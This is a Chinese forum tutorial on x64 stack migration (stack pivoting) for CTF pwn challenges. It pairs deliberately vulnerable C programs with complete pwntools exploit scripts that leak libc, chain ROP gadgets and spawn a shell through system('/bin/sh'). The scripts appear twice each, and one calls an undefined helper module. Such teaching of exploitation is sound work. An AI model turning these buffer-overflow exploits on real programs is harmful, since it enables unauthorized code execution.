-
-
[原创]钉子户的迁徙之路(一)
-
发表于: 2024-5-7 09:51 9392
-
说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
栈迁移,也叫伪造栈帧,栈翻转(不相同,是栈迁移的一种形式),我本人更倾向属于伪造栈帧(fake frame
) 这种叫法,这种更为科学,只是我最早的时候是叫栈迁移,习惯了就叫栈迁移了。
栈迁移,其实就是利用leave,ret
指令将bp sp
移动到自己想要的地方,更确切一点说只是利用的 2 次leave ret
指令,而 bp,sp
在现代操作系统中负责栈,将其移动就是将栈移动,其中bp
里的值是保留前一个bp
,leave
后跟随中的ret
就能够控制ip
从而控制程序执行流,现代cpu
中已经没有mov ip xx
这种指令了,所以ret
就是最简单也最为方便的程序控制流方式, 这种技巧有很多巧妙的地方可以使用。
x64
与x86
的函数传参方式有着较大的不同, 由于x86
只需要布置内存布局即可完成函数调用,而x64
需要考虑函数调用后寄存器的变化,情况更为复杂,所以下面的例题都是以linux
中x64
程序为例,x86
只是做简要说明,有兴趣的可以自行调试,不再过多赘述。
我们以下例题来简要说明栈迁移的基本原理(以下内容并非是去解答此题)
首先通过栈溢出将将栈帧布置为在 0xAABBCCDD
位置写入 0x100
字节,结尾布置leave ret
。程序会执行完函数本身的leave ret
后,rsp
变为 rbp
的值,rbp
变为 0xAABBCCDD
,下面通过 read
将 0xAABBCCDD
处栈帧布置好,再执行 read_symbols
后的 leave ret
将 rsp
变为 0xAABBCCDD
,rbp
变为 0xAABBCCDD
处的值。
在 0xAABBCCDD
处布置栈帧如下,常规性 leak func
,然后将栈迁移到更远的地方。下面只需要重复上面的内容,在 0xAABBCDDD
处写入 system("/bin/sh")
写入之后的样子如下,执行完leave ret
之后,就可以正常执行 system("/bin/sh")
整个过程相对繁琐一些,但拆开来看又非常的简单,就是利用 leave ret
逐步将栈帧移动到自己布置好的地方。但大家通过上面的说明也可以很清楚发现其中的问题
1.首先第一步布置栈帧就需要 0x30
字节的溢出,因为 read 函数参数要比 puts 多,显然不如通过:直接 leak libc 基地址 -> 返回主函数后利用栈溢出布置 system("/bin/sh") -> get shell
,这种方式来的简单。
2.即使要是用栈迁移,正常的函数中是无法找到 pop rdx ret
这种 gadget
的,通常会使用寄存器原有的 rdx
。但是,如果题目中有puts("byebye")
; 之类的步骤(如我题目中注释掉部分 ) 能够起到 rdx
清零的作用。那么,这时候要是用 read 函数,往往还需要使用 ret2csu
,这样栈帧就需要0x80
,远远不如直接使用 puts
来的方便。
3.栈迁移的地址该如何选择?是不是随便找个 bss
段就能迁移?熟悉栈迁移的大佬们都应该知道栈迁移的地址并不能紧靠有用数据的内存,因为 libc
中很多库函数往往会抬高栈帧,例如 puts
大概会抬高栈帧 0x80
,system
大概会抬高栈帧 0x200
(不同的版本不全相同)。抬高栈后会覆盖原有数据,甚至会抬高到 bss 段开头,从而失去内存写权限,对 got 表、bss 节的修改会使攻击失效。所以迁移地址需要巧妙设置,其中涉及到程序本身调用库函数的数量、使用何种输出函数、写入内容所在的位置、是否清空 stdout 等诸多选项,需要攻击者对 c 语言库函数源码(多数是 glibc
)非常熟悉,或者要多次尝试才能够完成,并且在我多次源码分析之后发现不同版本 glibc 还存在细节上的差异,这对攻击者的能力要求非常高。
从上面的问题可以看出,栈迁移虽然这个技巧很有意思,但并不实用,大部分题目并不需要使用栈迁移来解决。我觉得使用栈迁移的情况有以下几种。
对于 HITCON-Training LAB6
这个题目不作过多说明,基本技巧和上面的说明差不多,属于栈迁移的基本题目,大家可以去练习一下,它没有使用 puts
清空 rdx
,可以直接使用原有的寄存器来迁移。同样,对于 ret2dlresolve
重点还是在于 dl_runtime_resolve
的理解,迁移只是一种手段。那么,溢出字长过短就成了栈迁移大显身手的地方(当然,栈迁移的出现也是为了解决溢出长度过短的问题)。
对于溢出字长过短的情况,也可以有两种模式
第一种因为能够控制返回地址,相对简单一些,而且也容易出现非预期解(后面会讨论这个问题)。我们以迁移到栈上来说明以上两种情况。
question_1
代码为什么要这么写不再作太多解释,不是本篇文章的重点,且编译参数有无 canary
差别也不大。大家可以看出来,在 dofunc
中,buf
长度是 0x100
,写入的长度是 0x110
,可以覆盖返回地址,那么,我们能自行布置 leave ret
。第1次输入输出为了泄露栈地址,第2次为了布置栈帧和迁移,布置栈帧和迁移同时进行。payload 主要逻辑如下。
需要说明三点
攻击脚本主要内容如下
相对于可以覆盖返回地址,只能覆盖到 rbp
的情况更为复杂,需要说明三点。
攻击脚本主要内容如下
总结:
(当然,我们还有其他方式来处理,将在后面进行讨论)
由于迁移到非栈上,主要难点是在迁移后栈帧的布置,如果能够覆盖返回地址,将出现多种非预期解。所以,我们在处理迁移到非栈上的问题时,让 buf
只能溢出覆盖 rbp
。
大家可以看出来,在 dofunc
中,buf
长度是 0x8
,写入的长度是 0x10
,只能覆盖到 rbp
,同样是利用 dofunc
和 main
的 leave ret
来实现栈迁移,不同的是第1次输入的是布置的栈帧,第2次输入是为了迁移。参照迁移到栈上的方法,攻击逻辑如下
需要说明三点
攻击脚本主要内容如下
**实际调试中肯定是无法完成攻击的。**这主要是因为 puts
会抬高 0x80
的栈帧,抬高的栈帧已经达到 data
段,不具备可写的权限,现实中还可能出现修改 stdin、stdout、stderr
导致输出异常。并且,后面的 system("/bin/sh")
需要的栈帧更长(大约为0x200
)。那么我们不能直接迁移到 migration
处,需要再远一点,攻击思路如下。
攻击脚本主要内容如下
上面两种情况是栈迁移的两种基本情况。既然是涉及到栈,那么无法绕过的就是栈帧长度的问题,而且栈迁移多数就是问了解决栈帧不够长,那么长度必然就成了我们需要仔细研究的问题,上面的问题中为了说明,我将输入的长度都设置为 0x100
,现在我们就来研究一下栈迁移过程中栈帧长短的问题。敬请关注下一篇《二迁钉子户》
我们再看看迁移到栈上的情况,在处理 question_1
中可以覆盖返回地址的时候,有经验的老手已经发现了问题所在,我们在 puts
函数后直接使用了ret2csu
所以内容很长,实际上我们的栈帧布置可以在 puts
后返回 dofunc
函数,那么我们所需要的栈帧就可以很短。
这个与只能覆盖 rbp
的情况差距不带,不再过多赘述,攻击脚本主要内容如下
在 question_2
中 migration
长度为 0x100
,在问题分析中也指出由于 puts
会抬高 0x80
的栈帧,我们必须迁移到更深处,那么问题来了,如果 migration
长度为 0xa0
甚至更小,已经不能布置 puts
函数,那么该如何攻击?
这时我们的需要转变攻击思路,不能盯着 migration
不放,既然 migration
不能直接泄露函数,我们按照栈迁移的基本原理先将栈从 migration
处迁移到可以正常布置栈帧的地方再重复上面的步骤进行攻击,我将其称之为二阶栈迁移,攻击思路如下
攻击过程中需要注意以下迁移的位置。
程序 bss
段毕竟长度有限,绝大多数库函数都需要一定的栈帧,尤其是 system
函数需要 0x200
,并且 bss
段前面可能还有一些程序需要的数据,所以迁移的位置需要一定的考量。
攻击脚本主要内容如下
由于 ret2csu
长度为 0x80
所以,只要迁移处的长度大于这个 0x80
就能够依靠二阶栈迁移可以实现通杀。
**综上所述,**上面的情况已经相比于第一次迁移时短了很多,但还不能让我们满意,尤其是迁移到非栈上的情况,还需要至少 0x80
的迁移空间,有什么办法能让它再变短一些呢?敬请关注下《三迁钉子户》
// migration.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
dofunc(){
char
buf[8] = {};
puts
(
"input:"
);
read(0,buf,0x100);
//puts("byebye");
return
0;
}
int
main(){
dofunc();
return
0;
}
//gcc migration.c -no-pie -fno-stack-protector -o migration_x64
// migration.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
dofunc(){
char
buf[8] = {};
puts
(
"input:"
);
read(0,buf,0x100);
//puts("byebye");
return
0;
}
int
main(){
dofunc();
return
0;
}
//gcc migration.c -no-pie -fno-stack-protector -o migration_x64
// question_1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[0x100] = {};
puts
(
"input1:"
);
read(0,buf,0x110);
puts
(buf);
puts
(
"input2:"
);
read(0,buf,0x110);
// 可以覆盖返回地址
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_1.c -fno-stack-protector -no-pie -o question_1_x64
// question_1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[0x100] = {};
puts
(
"input1:"
);
read(0,buf,0x110);
puts
(buf);
puts
(
"input2:"
);
read(0,buf,0x110);
// 可以覆盖返回地址
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_1.c -fno-stack-protector -no-pie -o question_1_x64
from
pwn
import
*
import
pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./question_1_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
pwn_script.pop_rdi_ret(pwnfile)
leave_ret
=
pwn_script.leave_ret(pwnfile)
csu_front_addr
=
0x401410
ret
=
pwn_script.ret(pwnfile)
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
target1_rbp
=
elf.bss()
+
0x800
# 需要找到合适的转移目标
n
=
10
# n至少要大于3
final_rbp
=
target1_rbp
+
0x100
*
n
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
# 泄露栈迁移地址
dem1
=
'input1:\n'
dem2
=
'input2:\n'
padding2rbp
=
0x100
sa(dem1 , padding2rbp
*
b
"a"
)
ru(b
'a'
*
padding2rbp)
pre_stack
=
u64(r(
6
).ljust(
8
,b
"\x00"
))
stack
=
pre_stack
-
0x20
stack_migration_addr
=
stack
-
0x100
print
(
'stack_addr:'
,
hex
(stack_migration_addr))
# 使用 ret2csu 栈迁移
call_func
=
{
'func_addr'
:read_got ,
'arg1'
:
0
,
'arg2'
: target1_rbp,
'arg3'
:
0x100
}
pay_ret2csu_payload
=
pwn_script.ret2csu_payload(call_func,
0
, csu_front_addr, rbp
=
target1_rbp ,gcc_ver
=
'new'
)
payload1
=
flat([target1_rbp , pop_rdi_ret, leak_func_got, puts_sym])
+
pay_ret2csu_payload
+
p64(leave_ret)
payload1
=
payload1.ljust(padding2rbp, b
'A'
)
+
p64(stack_migration_addr)
+
p64(leave_ret)
sa(dem2, payload1)
leak_func_addr
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
system_addr, binsh_addr
=
pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
# 最终输出
payload
=
flat([final_rbp, pop_rdi_ret ,binsh_addr, ret , system_addr])
sl(payload)
itr()
from
pwn
import
*
import
pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./question_1_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
pwn_script.pop_rdi_ret(pwnfile)
leave_ret
=
pwn_script.leave_ret(pwnfile)
csu_front_addr
=
0x401410
ret
=
pwn_script.ret(pwnfile)
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
target1_rbp
=
elf.bss()
+
0x800
# 需要找到合适的转移目标
n
=
10
# n至少要大于3
final_rbp
=
target1_rbp
+
0x100
*
n
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
# 泄露栈迁移地址
dem1
=
'input1:\n'
dem2
=
'input2:\n'
padding2rbp
=
0x100
sa(dem1 , padding2rbp
*
b
"a"
)
ru(b
'a'
*
padding2rbp)
pre_stack
=
u64(r(
6
).ljust(
8
,b
"\x00"
))
stack
=
pre_stack
-
0x20
stack_migration_addr
=
stack
-
0x100
print
(
'stack_addr:'
,
hex
(stack_migration_addr))
# 使用 ret2csu 栈迁移
call_func
=
{
'func_addr'
:read_got ,
'arg1'
:
0
,
'arg2'
: target1_rbp,
'arg3'
:
0x100
}
pay_ret2csu_payload
=
pwn_script.ret2csu_payload(call_func,
0
, csu_front_addr, rbp
=
target1_rbp ,gcc_ver
=
'new'
)
payload1
=
flat([target1_rbp , pop_rdi_ret, leak_func_got, puts_sym])
+
pay_ret2csu_payload
+
p64(leave_ret)
payload1
=
payload1.ljust(padding2rbp, b
'A'
)
+
p64(stack_migration_addr)
+
p64(leave_ret)
sa(dem2, payload1)
leak_func_addr
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
system_addr, binsh_addr
=
pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
# 最终输出
payload
=
flat([final_rbp, pop_rdi_ret ,binsh_addr, ret , system_addr])
sl(payload)
itr()
//question_1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
b[0x100] = {};
puts
(
"input1:"
);
read(0,b,0x108);
puts
(b);
puts
(
"input2:"
);
read(0,b,0x108);
// 只能覆盖到 rbp
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_1.c -fno-stack-protector -no-pie -o question_1_x64
//question_1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
b[0x100] = {};
puts
(
"input1:"
);
read(0,b,0x108);
puts
(b);
puts
(
"input2:"
);
read(0,b,0x108);
// 只能覆盖到 rbp
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_1.c -fno-stack-protector -no-pie -o question_1_x64
from
pwn
import
*
import
pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
duchao_pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./migration_3_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
pwn_script.pop_rdi_ret(pwnfile)
leave_ret
=
pwn_script.leave_ret(pwnfile)
csu_front_addr
=
0x401420
ret
=
pwn_script.ret(pwnfile)
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
dofunc_addr
=
elf.symbols[
"dofunc"
]
main_addr
=
elf.symbols[
"main"
]
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
dem1
=
'input1:\n'
dem2
=
'input2:\n'
# 泄露栈迁移地址
padding2rbp
=
0x100
sa(dem1 , padding2rbp
*
b
"a"
)
ru(b
'a'
*
padding2rbp)
pre_stack
=
u64(r(
6
).ljust(
8
,b
"\x00"
))
stack
=
pre_stack
-
0x20
stack_migration_addr
=
stack
-
0x100
duchao_pwn_script.dbg(io)
print
(
'stack_addr:'
,
hex
(stack_migration_addr))
# 栈迁移,返回到 main 函数
payload1
=
flat([stack , pop_rdi_ret, leak_func_got, puts_sym , main_addr])
payload1
=
payload1.ljust(padding2rbp, b
'A'
)
+
p64(stack_migration_addr)
sa(dem2 , payload1)
ru(
'\n'
)
ru(
'\n'
)
leak_func_addr
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
system_addr, binsh_addr
=
pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
# 利用第一次输入调整一下栈帧,方便攻击
sa(dem1 , padding2rbp
*
b
"a"
)
ru(b
'a'
*
padding2rbp)
pre_stack
=
u64(r(
6
).ljust(
8
,b
"\x00"
))
stack
=
pre_stack
-
0x20
stack_migration_addr
=
stack
-
0x100
# 最终输出
payload
=
flat([stack, pop_rdi_ret ,binsh_addr, ret , system_addr])
payload
=
payload.ljust(padding2rbp, b
'A'
)
+
p64(stack_migration_addr)
sa(dem2,payload)
itr()
from
pwn
import
*
import
pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
duchao_pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./migration_3_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
pwn_script.pop_rdi_ret(pwnfile)
leave_ret
=
pwn_script.leave_ret(pwnfile)
csu_front_addr
=
0x401420
ret
=
pwn_script.ret(pwnfile)
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
dofunc_addr
=
elf.symbols[
"dofunc"
]
main_addr
=
elf.symbols[
"main"
]
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
dem1
=
'input1:\n'
dem2
=
'input2:\n'
# 泄露栈迁移地址
padding2rbp
=
0x100
sa(dem1 , padding2rbp
*
b
"a"
)
ru(b
'a'
*
padding2rbp)
pre_stack
=
u64(r(
6
).ljust(
8
,b
"\x00"
))
stack
=
pre_stack
-
0x20
stack_migration_addr
=
stack
-
0x100
duchao_pwn_script.dbg(io)
print
(
'stack_addr:'
,
hex
(stack_migration_addr))
# 栈迁移,返回到 main 函数
payload1
=
flat([stack , pop_rdi_ret, leak_func_got, puts_sym , main_addr])
payload1
=
payload1.ljust(padding2rbp, b
'A'
)
+
p64(stack_migration_addr)
sa(dem2 , payload1)
ru(
'\n'
)
ru(
'\n'
)
leak_func_addr
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
system_addr, binsh_addr
=
pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
# 利用第一次输入调整一下栈帧,方便攻击
sa(dem1 , padding2rbp
*
b
"a"
)
ru(b
'a'
*
padding2rbp)
pre_stack
=
u64(r(
6
).ljust(
8
,b
"\x00"
))
stack
=
pre_stack
-
0x20
stack_migration_addr
=
stack
-
0x100
# 最终输出
payload
=
flat([stack, pop_rdi_ret ,binsh_addr, ret , system_addr])
payload
=
payload.ljust(padding2rbp, b
'A'
)
+
p64(stack_migration_addr)
sa(dem2,payload)
itr()
// question_2.c
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x100
char
migration[LEN];
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[8] = {};
puts
(
"input1:"
);
read(0,migration,LEN);
puts
(
"input2:"
);
read(0,buf,0x10);
// 只能覆盖到 rbp
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_2.c -fno-stack-protector -no-pie -o question_2_x64
// question_2.c
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x100
char
migration[LEN];
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[8] = {};
puts
(
"input1:"
);
read(0,migration,LEN);
puts
(
"input2:"
);
read(0,buf,0x10);
// 只能覆盖到 rbp
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_2.c -fno-stack-protector -no-pie -o question_2_x64
from
pwn
import
*
import
pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./question_2_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
pwn_script.pop_rdi_ret(pwnfile)
leave_ret
=
pwn_script.leave_ret(pwnfile)
leave_ret
=
pwn_script.leave_ret(pwnfile)
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
migration
=
elf.symbols[
'migration'
]
# 题目要求写入的地址
dofunc_addr
=
elf.symbols[
'dofunc'
]
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
# 一、布置栈帧 按照题目要求利用 leave ret 必须迁移到 migration 处
padding2rbp
=
8
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
payload4search
=
flat([
0xdeadbeef
, pop_rdi_ret , leak_func_got , puts_sym , dofunc_addr , leave_ret ])
sa(
'input1:\n'
,payload4search)
sa(
'input2:\n'
,payload_buf)
# 二、找到 libc 地址
ru(
"\n"
)
leak_func_addr
=
u64(r(
6
)[
0
:
6
].ljust(
8
,b
'\x00'
))
system_addr, binsh_addr
=
pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
# 三、再次迁移到更远的地方执行 system("/bin/sh")
payload_migration
=
flat([
0xdeadbeef
, pop_rdi_ret , binsh_addr , system_addr])
sa(
'input1:\n'
,payload_migration)
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
sa(
'input2:\n'
,payload_buf)
itr()
from
pwn
import
*
import
pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./question_2_x64'
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
pwn_script.pop_rdi_ret(pwnfile)
leave_ret
=
pwn_script.leave_ret(pwnfile)
leave_ret
=
pwn_script.leave_ret(pwnfile)
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
migration
=
elf.symbols[
'migration'
]
# 题目要求写入的地址
dofunc_addr
=
elf.symbols[
'dofunc'
]
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
# 一、布置栈帧 按照题目要求利用 leave ret 必须迁移到 migration 处
padding2rbp
=
8
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
payload4search
=
flat([
0xdeadbeef
, pop_rdi_ret , leak_func_got , puts_sym , dofunc_addr , leave_ret ])
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]反序列化的前生今世 9515
- [原创]gdb在逆向爆破中的应用 3127
- [原创]EOP编程 9279
- [原创]格式化字符串打出没有回头路(下)——回头望月 46605
- [原创]格式化字符串打出没有回头路(上) 18056